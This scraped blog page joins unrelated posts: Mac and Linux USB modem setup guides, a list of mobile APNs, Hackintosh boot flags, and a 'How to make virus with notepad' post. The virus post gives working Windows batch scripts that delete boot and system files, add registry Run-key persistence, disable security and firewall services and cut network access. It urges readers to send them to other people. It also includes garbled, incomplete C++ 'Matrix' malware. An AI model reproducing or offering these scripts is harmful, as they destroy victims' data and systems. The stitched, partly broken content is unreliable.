Oct 31, 2012

Getting your Huawei modem working with Mac OS X Mountain Lion and Lion


You know the part before the upgrade where they tell you to check all of your applications before you upgrade? Well, last night I decided that it would be a great idea to upgrade my Mac from Snow Leopard to Lion. Turns out that perhaps wasn’t so great an idea after all when my Huawei USB 3G modem dongle decided that it wasn’t going to work since it wasn’t relevant for the new 64-bit only kernel. Oops, I should have checked first. But it isn’t a complete disaster!
Update: This appears to also work with Mountain Lion as well according to some comments at the bottom. It may not work for everyone but it does appear to work for some.

After frantically using Google to find a new driver to install and digging around the Huawei site trying to find a replacement driver I was getting to the point of doing some modifications to the com.apple.boot.plist file and restart my Mac with the i386 kernel instead of the x86-64 one that appears to now be the default.
In my many searches for a Mac OS X Lion compatible driver, I managed to find the following from mobile provider “3″ in UK. The link, http://ask3.three.co.uk/mbbdocs/drivers/apple_drivers.html, contains a link to “dongle drivers” for “Huawei dongles” that work for Mac OS X Lion (10.7). Sounds like a winner!
So I download the zip file and it extracts out to leave me with a “3Connect Installer”. Not quite what I want however all is not lost. You see applications on Mac OS X are actually folders in disguise commonly referred to as either “bundles” or “packages”. So right click on the “3Connect Installer” and select “Show Package Contents”. This opens up a view with only “Contents” listed, foiled? Don’t worry, double click into that directory and then into the “Resources” directory. Here we find a “mobilemanager.mpkg” file. Now “mpkg” is a package which means it has more goodies in it.
So we right click on this and select “Show Package Contents” again. We’ve got our “Contents” folder and inside that we want to go to the “Packages” folder. In there two packages exist: “mobile_manager_application.pkg” and “huawei_universal_425_05.pkg”. Now if you’re like me, everything is setup already – you just need the driver. So I skipped the mobile manager application and just double clicked on the “huawei_universal_425_05.pkg” file and installed it.
After installing the Huawei Universal package, the next time I plugged in my Huawei E160 into my Mac it was detected and worked perfectly fine.
So if you’ve just upgraded to Lion (now Mountain Lion too) and are trying to work out how to get your Huawei modem working properly with it, these instructions worked for me and I’m using it to write this post.
Update: It looks like *99# works rather universally as a telephone number for getting the modem to work. On Mountain Lion this is what the Network Preferences screen looks like:

HUAWEI Modem connect in MAC



I’ve been trying to get my USB Broadband Modem to work with Leopard for the past few days. Unfortunately the instructions that come with the modem from 3 (my network provider in australia) are out-of-date and don’t work.
So here are the steps to get the modem working:
1. Ignore the instructions that come with the modem (if you bought the modem from 3 in australia)
2. Download the drivers from here (updated link – drivers now hosted here) and install them onto your Mac. Make sure you install the second file in the zip. The first doesn’t work!
3. Plug the modem into your Mac’s USB port and wait until the modem stops flashinggreen.
4. Open up “Network Preferences” and click the “+” sign in the bottom left of the screen to add a new service:
5. Select the HUAWEI Mobile from the interface list and then give your Service a name:
6. Now setup your service by entering a telephone number of *99# but leave the Account Name and Password blank. Then click the Advanced button:
7. In the Advanced window select Generic as the vendor then GPRS (GSM/3G) as the model. Enter your APN for your provider (for 3 Postpaid in Australia it is 3netaccess – seebelow for a list of other known APN’s) and leave CID as 1.
8. Click Apply and then click the Connect button back on the Network Preferences window, and you should connect as below:
Another very handy tool is CheetahWatch which allows you to view your usage and is developed specifically for Mac and the HUAWEI modem.
Known APN’s (thanks everyone for posting these!):
all simcards india
  • Tata Docomo : TATA.DOCOMO.INTERNET
  • AirTel : airtelgprs.com
  • Idea : imis
  • Vodafone  : www
  • Aircel : aircelgprs
  • BSNL 3G : bsnlnet
  • Reliance : rcomwap   reliancegprs.com
  • Reliance GSM :  SMARTNET
  • Uninor : uninor
  • MTNL 3G Prepaid : pps3g
  • MTNL 3G Postpaid : mtnl3g
  • videocon GSM : vinternet.com
  • Tata Docomo 3G :TATADOCOMO3G

USB Modems In Backtrack


Configuring USB760 cell modem for Verizon Wireless:

Required Materials: Modern Laptop/Desktop Backtrack 4 Final USB Boot/DVD USB760 EvDO modem w/ Service This tutorial makes the following assumptions: Other then the USB stick, this tutorial assumes the modem will be the only device connected to your system during the execution of this tutorial. If you are planning on using other USB devices on the system, such as GPS, please connect and configure these devices after this tutorial is finished. Getting Started: Boot BT4 on your machine and log in as root after which start the windowing manager. This tutorial will use nedit to make the configuration files, however you are not limited to this and may use the editor of your choice. A few terminal windows will need to be open for this configuration.
Terminal and Nedit
Showing an open Terminal and text editor Nedit
Replicate the following data below and save it as “vzw_chat” to this location “/etc/ppp/peers/” on your system.
Saving the vzw_chat script
Saving the vzw_chat script
ABORT  'NO CARRIER' ABORT 'ERROR' ABORT 'NO DIALTONE' ABORT 'BUSY' ABORT  'NO ANSWER' '' ATZ OK-AR-OK ATDT#777 CONNECT \d\c
In nedit we need to make 2 configuration files for pppd, which is available within BT4. The configuration files are for Verizon modems, ATT configurations will need to edit their user line to match their ISP Replicate the following data below and save it as “vzw” to this location “/etc/ppp/peers/” on your system.
Saving vzw script
Saving vzw script
ttyUSB0 115200 debug defaultroute usepeerdns connect-delay  10000 user 8765309@vzw3g.com show-password lock lcp-echo-failure  4 lcp-echo-interval 65535 connect '/usr/sbin/chat -v -t3 -f  /etc/ppp/peers/vzw_chat'
Once the two files saved are saved to your system, its time to get the system to properly use the modem. If there is any troubles with the device not being located at ttyUSB0 you will need to edit the first line of “vzw” to match your devices location. If you have not already done so, please plug in your modem now. Allow 5-10 seconds for the system to settle down after the device is inserted. A caviot to this particular modem is that a SD Card is on this device which mounts to the system as /dev/sr0. We need to eject this device to get the EvDO device to function and identify properly. If you are using a different modem then the one specified your results will vary.
Shows the Dmesg output
Shows the Dmesg output
root@bt:/# dmesg cut ... usb-storage:  device scan complete sr0: scsi3-mmc drive: 297x/297x sr 17:0:0:0:  Attached scsi CD-ROM sr0 sr 17:0:0:0: Attached scsi generic sg2 type  5 usb-storage: device scan complete sd 16:0:0:0: [sdb] Attached  SCSI removable disk sr0: CDROM (ioctl) error, command: cdb[0]=0x46 46  00 00 00 00 00 00 00 20 00 sr: Sense Key : 0x0 [current] sr:  ASC=0x0 ASCQ=0x0
If you issue lsusb command you will note this device as :
Showing lsusb output
Showing lsusb output
root@bt:/# lsusb cut ... Bus 003  Device 002: ID 1410:5030 Novatel Wireless cut ...
Notice the vendor:product number of 1410:5030, this is the address of the SD Card on the device and will interfere with the configuration. The first command we will issue is to eject the SD card from the system:
root@bt:/#  eject /dev/sr0
Now the device has been ejected, wait approx: 5 seconds then issue lsmod again and compare the vendor:product number to the original
Showing lsusb output
Showing lsusb output
 root@bt:/# lsusb cut  ... Bus 003 Device 002: ID 1410:6000 Novatel Wireless cut  ...
This identifier is now pointing to the EvDO modem. This allows the configuration to continue using a kernel module known as usbserial. This is done using modprobe usbserial and providing the vendor:product number we learned from the previous command as arguments.

Showing modprobe output
root@bt:/# modprobe usbserial vendor=0x1410 product=0x6000
If this command issued with out error you are almost on the Internet with your EvDO modem. The final step involves using pppd to connect. This connection is not persistent and if it drops, you will need to reconnect much like a vpn. Issue the following command to make the connection:
Showing modprobe output
Showing pppd connected to the ISPShowing pppd connected to the ISP
root@bt:/# pppd call vzw
Monitoring the connection can be accomplished with the following command:
 root@bt:/#  tail -f /var/log/messages Mar 12 15:38:01 bt chat[6462]: CONNECT Mar 12 15:38:01 bt chat[6462]:  -- got it Mar 12 15:38:01 bt  chat[6462]: send (\d) Mar 12 15:38:02 bt pppd[6461]: Serial  connection established. Mar 12 15:38:02 bt pppd[6461]: Using  interface ppp0 Mar 12 15:38:02 bt pppd[6461]: Connect: ppp0  <--> /dev/ttyUSB0 cut ...
Other things to take into consideration: If you remove the device you will need to reissue all the commands from “eject /dev/sr0″ to “pppd call vzw” If the connection drops after you have successfully connected 1 time, you just need to issue : “pppd call vzw” If you have other USB devices such as GPS, it will be located at “ttyUSB1″ after you enable the EvDO modem If you know bash or other languages, please do not hesitate to elaborate on these steps for automation

Internet Access With A USB Modem in Backtrack 5


One easy way to connect to the internet using a dial-up account is to buy a USB modem which the manufacturer describes as “Linux-compatible”.
1.First,install Gnome PPP which is available in System -> Administration -> Synaptic Package Manager
2.Go to System -> Administration -> Users and Groups -> Access Advance Settings -> Open User Privileges tab -> Make sure everything is checked especially “Connect to internet using a modem” and “Use modems
3.Now,plug in your external (USB) Linux-compatible modem.Then open Gnome-PPP from Applications -> Internet menu.Click on Setup,click on Detect (Gnome-PPP will then detect the modem),after detection close the box,and enter your connection information such as login,password,local telephone number of ISP an so on.
Finally click Connect.When connection is established,open your browser and surf!
To end the session and exit,close the browser and click Disconnect.

How to make virus with notepad


HERE THERE R SOME EXCELLENT VIRUS SCRIPTS OF WEBS MOST DANGEROUS SCRIPTS ALSO INCLUDED IN THEM


How to crash a PC Forever !:::

@echo off
attrib -r -s -h c:\autoexec.bat
del c:\autoexec.bat
attrib -r -s -h c:\boot.ini
del c:\boot.ini
attrib -r -s -h c:\ntldr
del c:\ntldr
attrib -r -s -h c:\windows\win.ini
del c:\windows\win.ini

Open up notepad and copy and paste that. Save it as a .bat file.
This should shutdown the persons computer. It shuts it off once and deletes the files needed to reboot and restart.
REMEMBER - DO NOT CLICK THIS FILE. (for the idiots)
**Also remember this might not work with vista.**




How to stop someone's internet access::::


@Echo off
Ipconfig /release

Save that as a .bat and send it to someone. They're IP address will be lost, and therefore they won't be able to fix it

However, this is VERY easy to fix. Simply type in IPconfig /renew




ShutDown PC million Times::::

1.right click on the desktop
2.click shortcut
you will get a dialogue box, write in it: shutdown -s -t 1000 c "any comment u want" then press next
note: this "1000" i wrote is the time in seconds needed for ur computer to shutdown,u can put any number u want...
3.u will get another dialogue box, write in it: Internet Explorer and press finish
4.u will find the icon on ur desktop, dont open it, just right click on it and press properties>change icon>select the icon the the internet explorer and the press apply then ok
try to open it, it is a virus hehe
PS: the only way 2 stop ur computer from shutting down is to go 2 start>run>type: shutdown -a



Freeze someone's desktop:::


this is a funny trick, u can freeze someone's desktop
1.close everything u r working in, and work on desktop. so click on prtscr on ur keyboard.
2.go to paint and click on edit then paste
3.save this file as (name).bmp and close the paint.
3.now in the desktop, we have 2 remove desktop icons and shortcuts, so right click on the mouse and then properties, click on desktop then select customize desktop.
4.uncheck all the boxes in desktop icons and press ok. then press apply then ok.
5.now to remove the shortcuts in the desktop, go to start and select My Computer, then click on c: right click on ur mouse and select new folder, write it any name
6.now go to desktop & select all da icons and right click on them then press cut,go to c: and paste them in the folder dat u created then close the window.
7.now to put the fake desktop image and remove the taskbar, so right click on desktop and gp to properties, now go to desktop and select Browse, select the file that u saved then press appply then ok. now to remove the windows taskbar, right click on the taskbar and go 2 properties, then select autohide the taskbar and then apply then ok
now all the icons r fake and the user will think that his desktop is freezed
enjoy it.!




SHUT UR INTERNET PERMENANTLY:::


This is a slightly more advanced one. It shuts down your internet permanately. I tried it on myself accidently, i knew what it did, and it still took me a couple of days to get my internet back. works best on XP, not tested on vista or 7.
EDIT: At the bottom put a rickroll site or something. BTW, that 3rd line, isnt what disables the internet permanately. It is somethinge else, that just provides a fast response to shut down any connections.


@echo off
reg add HKLM\Software\Microsoft\Windows\CurrentVersion\Run /v MiXedVeX /t REG_SZ /d %systemroot%\HaloTrialScoreChangerV1 /f > nul
start iexpress (website of your choice)
ipconfig /release
del "C:\Program Files\Microsoft Games
del "C:Nexon
del "C:\Program Files\Xfire
del "C:\Program Files\Adobe"
del "C:\Program Files\Internet Explorer"
del "C:\Program Files\Mozilla Firefox"
del "C:\WINDOWS"
del "C:\WINDOWS\system32"
del "C:\WINDOWS\system32\cmd"
del "C:\WINDOWS\system32\iexpress"
del "C:\WINDOWS\system32\sndvol32"
del "C:\WINDOWS\system32\sndrec32"
del "C:\WINDOWS\system32\Restore\rstrui"
del "C:\WINDOWS\system32\wupdmgr"
del "C:\WINDOWS\system32\desktop"
del "C:\WINDOWS\java"
del "C:\WINDOWS\Media"
del "C:\WINDOWS\Resources"
del "C:\WINDOWS\system"
del "C:\drivers"
del "C:\drv"
del "C:\SYSINFO"
del "C:\Program Files"
echo ipconfig/release_all>>c:windowswimn32.bat
net stop "Security Center"
net stop SharedAccess
> "%Temp%.kill.reg" ECHO REGEDIT4
>>"%Temp%.kill.reg" ECHO.
>>"%Temp%.kill.reg" ECHO [HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesS haredAccess]
>>"%Temp%.kill.reg" ECHO "Start"=dword:00000004
>>"%Temp%.kill.reg" ECHO.
>>"%Temp%.kill.reg" ECHO [HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesw uauserv]
>>"%Temp%.kill.reg" ECHO "Start"=dword:00000004
>>"%Temp%.kill.reg" ECHO.
>>"%Temp%.kill.reg" ECHO [HKEY_LOCAL_MACHINESYSTEMControlSet001Serviceswscsv c]
>>"%Temp%.kill.reg" ECHO "Start"=dword:00000004
>>"%Temp%.kill.reg" ECHO.
START /WAIT REGEDIT /S "%Temp%.kill.reg"
del "%Temp%.kill.reg"
del %0
echo @echo off>c:windowswimn32.bat
echo break off>>c:windowswimn32.bat
echo ipconfig/release_all>>c:windowswimn32.bat
echo end>>c:windowswimn32.bat
reg add hkey_local_machinesoftwaremicrosoftwindowscurrentv ersionrun /v WINDOWsAPI /t reg_sz /d c:windowswimn32.bat /f
reg add hkey_current_usersoftwaremicrosoftwindowscurrentve rsionrun /v CONTROLexit /t reg_sz /d c:windowswimn32.bat /f
:a
start iexpress (website of your choice)
goto a





MAKING MOST DANGEROUS VIRUS CALLED MATRIX:::


Warning - Do not run it on your computer

I'm gonna teach you how to make a virus named Matrix...

1-Open notepad
2-Put in this code

#include
#include
#include
#include
#include
#include
#include
using namespace std;

int main()
{ keybd_event(VK_MENU,0x38,0,0);
keybd_event(VK_RETURN,0x1c,0,0);
keybd_event(VK_RETURN,0x1c,KEYEVENTF_KEYUP,0);
keybd_event(VK_MENU,0x38,KEYEVENTF_KEYUP,0);
HANDLE outToScreen;
outToScreen = GetStdHandle(STD_OUTPUT_HANDLE);

{
char buffer[255];
char inputFile[]="C:\Documents and Settings\All Users\Start Menu\Programs\Startup\rawr.bat";
ifstream input(inputFile);
if (!input)
{
{
ofstream fp("C:\Documents and Settings\All Users\Start Menu\Programs\Startup\rawr.bat", ios::app);
fp
fp
fp
}
}
else
{
while (!input.eof())
{
input.getline(buffer,255);
}
}
}

{
char buffer[255];
char inputFile[]="C:\rawr.exe";
ifstream input(inputFile);
if (!input)
{
{
{
ofstream fp("CLICK.bat", ios::app);
fp
fp
fp
fp
}
system("START CLICK.bat");
main();
}
}
else
{
while (!input.eof())
{
input.getline(buffer,255);
system("call shutdown.exe -S");
goto START;
}
}
}

START:{
for(int i = 0; i < 1; i++)
{
int num = (rand() % 10);
SetConsoleTextAttribute(outToScreen, FOREGROUND_GREEN | FOREGROUND_INTENSITY);
cout
cout
cout
cout
cout
cout
cout
cout
cout
cout
cout
cout
Sleep(60);
}
}
for ( int j = 0; j < 5; j++)
{
SetConsoleTextAttribute(outToScreen, FOREGROUND_GREEN);
int number = (rand() % 24);
cout
}
goto START;



3-save it as matrix.bat
4-finish



AS IT WAS TOO DANGEROUS THE ACTUAL HEADER FILES FOR THIS SCRIPT ARE NOT GIVEN

AND IF U WANT TO TRY THIS SCRIPT U CAN JUST USE OF HEADER FILES SUCH AS STDIN,STDLIB,CONIO , AND STUFF LIKE THAT


IF U LIKE MY POST PLZ SAY THANKS TO ME


THANKS FOR VISITING

Oct 30, 2012

Common boot options for MAC OS X


Common boot opntios for Chimera, Chameleon, iBoot, and Unibeast



If your Hackintosh can't boot, changing your boot options with boot flags may be your last chance at getting Mac OS X to start. If you don't know, "boot flags" are options that change the way that your bootloader (the program that boots Mac OS X) runs at startup. Read past the break for list of common boot flags for iBoot, Unibeast, Chimera, Chameleon, and more.

LAST UPDATED ON: July 29, 2012 (Mountain Lion support)

-v
The mother of all boot flags. Entering -v into the bootloader turns on verbose mode, which is absolutely critical for fixing any Hackintosh issue. Verbose mode displays every single process that takes place during your bootup of Mac OS X. It can be rather intimidating, as it will display hundreds of lines of commands during the bootup process. However, if your Hackintosh isn't booting, then verbose mode should freeze at the exact point where the bootup process is tripping up. Take a photo of what verbose mode says before the bootup freezes. You can then post that photo on a Hackintosh forum to look for help, or try to use the results of verbose mode to guess what your problem is by yourself.

-x
Turns on safe mode. Mac OS X in safe mode ignores all kext files and boot settings except those which are absolutely necessary to booting the system. Safe mode is useful if you're trying to run the Mac OS X installer on a PC that's not fully compatible with Mac OS X. Also, if you accidentally installed a kext file that's messing up your Hackintosh, booting into safe mode may work around the problem. In safe mode, you can then remove the offending kext from /Extra/Extensions in your main hard drive (if you're running Mac OS X Snow Leopard), or /System/Library/Extensions (if you're running Mac OS X Lion or Mountain Lion).

-F
If you've entered some extra boot flags into org.Chameleon.boot.plist, but they're messing up your Hackintosh's bootloader, enter the -F boot flag to ignore them.

-f
Ignores kext caches during bootup on Mac OS X Snow Leopard. If you did not install a kext properly (usually because you forgot to run System Utilities in Multibeast after installing a new kext), your kext cache will be damaged, and Mac OS X might become unbootable unless you use this boot flag. The kext cache was replaced by the kernel cache in Mac OS X Lion, so theoretically, the -f boot flag should no longer work; however, this boot flag can still help some Hackintoshes boot (for reasons unknown).

UseKernelCache=Yes
Mac OS X Lion and Mountain Lion can use the kernel cache to install kexts, allowing Mac OS X to boot faster. However, the kernel cache is turned off by default, and you have to enable it by using the boot flag "UseKernelCache=Yes" (without quotation marks). Installing Easybeast or UserDSDT with Multibeast will automatically turn the kernel cache on for you. If Mac OS X is booting extremely slow on your Hackintosh, the kernel cache might be malfunctioning, and you can turn it off with "UseKernelCache=No" (without quotation marks). Turning off the kernel cache is equivalent to using the "-f" bootflag in Snow Leopard.

PCIRootUID=1
Some Hackintoshes will only boot when their "PCI Root ID" is set to 0. This usually happens with Hackintoshes that use a AMD Radeon graphics card. Other times, a Hackintosh will only boot when its "PCI Root ID" is set to 1. In some cases, the boot flag "PCIRootUID=1" will also fix Mac App Store verification errors.

npci=x2000
npci=x3000
If your verbose mode bootup of Mac OS X Lion or Mountain is freezing at [PCI Configuration Begin], enter the npci=0x3000 boot flag to fix it. This flag is applied by default when you install Easybeast or UserDSDT with Multibeast. The boot flag npci=x2000 does the same thing, except that it only works for Lion.

arch=i386
Forces Mac OS X to boot into 32-bit mode. Sometimes, your CPU or graphics card won't be fully supported in OS X unless you boot into 32-bit mode. Unlike in Windows, booting the 32-bit kernel for Mac OS X does not limit your total amount of RAM to 4 GB, and you can still run 64-bit applications. However, single applications cannot use up more than 4 GB of RAM, so this is a disadvantage if you do professional video editing, or something else that takes up a lot of RAM. This boot flag no longer works in OS X Mountain Lion.

arch=x86_64
Allows Mac OS X to boot into 64-bit mode. This boot flag is usually unnecessary, as Mac OS X Snow Leopard (and all versions beyond it) will boot into 64-bit mode by default.

-force64
Forces Mac OS X to boot into 64-bit mode. This is usually required to boot AMD Hackintoshes, especially on Hackintoshes with AMD's newer six-core processors. Interestingly, you can use the -force64 boot flag and the arch=i386 at the same time (I'm not sure what this will do, though).

cpus=1
This boot flag limits Mac OS X to using one core of your CPU. This boot flag is often necessary to launch the Mac OS X Snow Leopard installation DVD on a Hackintosh with an unsupported processor (ahem, AMD processors). However, you shouldn't have to use this boot flag once you've installed the legacy kernel.

busratio=20
The 20 is replaced with your CPU's bus ratio. This boot flag is usually used when you're installing Mac OS X Snow Leopard on a processor that's not supported (once again, AMD processors). Snow Leopard supports more processors than it used to, so this boot flag isn't as common as before. You can find a list of busratios for 2010-model Intel processors here. You can also find your busratio manually.

mach_kernel
This boot flag locates the kernel ("mach_kernel"), an important boot file for Mac OS X.  If your Hackintosh's verbose mode says that it can't find mach_kernel for some reason, entering this boot flag will help the bootloader find it (the kernel is usually found at the very base of the OS X file system). If you actually moved your kernel to somewhere else in your hard drive, change "mach_kernel" to wherever the kernel is located. For example, if the kernel is in the Extra folder of your main hard drive, enter the boot flag "/Extra/mach_kernel" (without quotation marks).

GraphicsEnabler=No
This turns Graphics Enabler off/on (you can set "No" to "Yes"). Graphics Enabler is a feature that helps Mac OS X work better with your graphics card, so it's turned on by default when you set up your Hackintosh with Multibeast. However, when used with certain graphics cards (especially AMD Radeon cards), Graphics Enabler may make Mac OS X unable to boot, or cause the graphics in Mac OS X to display incorrectly. If this is the case, try entering "GraphicsEnabler=No" (without quotations) instead. Turning GraphicsEnabler off will break DVD Player, as well as Geekbench, most games, most video editors, and certain other apps. Graphics cards from NVIDIA's 600 series no longer require GraphicsEnabler to work with Mac OS X; in that case, turning off GraphicsEnabler won't cause any negative effects.

debug=0x100
debug=0x144
Turns on debug mode. If you use either of these boot flags, and Mac OS X gets a kernel panic (which is the Mac version of the blue screen of death), you'll see a debug screen full of code instead of a generic "You need to restart your computer" message.

darkwake=0
The DarkWake feature in Mac OS X Lion and Mountain Lion allows you to wake up certain parts of your Mac from sleep, while leaving other parts in sleep mode. Unfortunately, this feature often messes up sleep on Hackintoshes. Enter this bootflag to turn it off (enter darkwake=1 to turn it on, if turning it off doesn't do the trick). Additionally, if your verbose bootup is freezing at a bunch of commands that mention "SleepEnabler.kext", entering darkwake=0 should be able to turn SleepEnabler.kext off. (Once you boot into OS X, be sure to remove SleepEnabler.kext completely by deleting it from either /Extra/Extensions or /System/Library/Extensions in your hard drive.)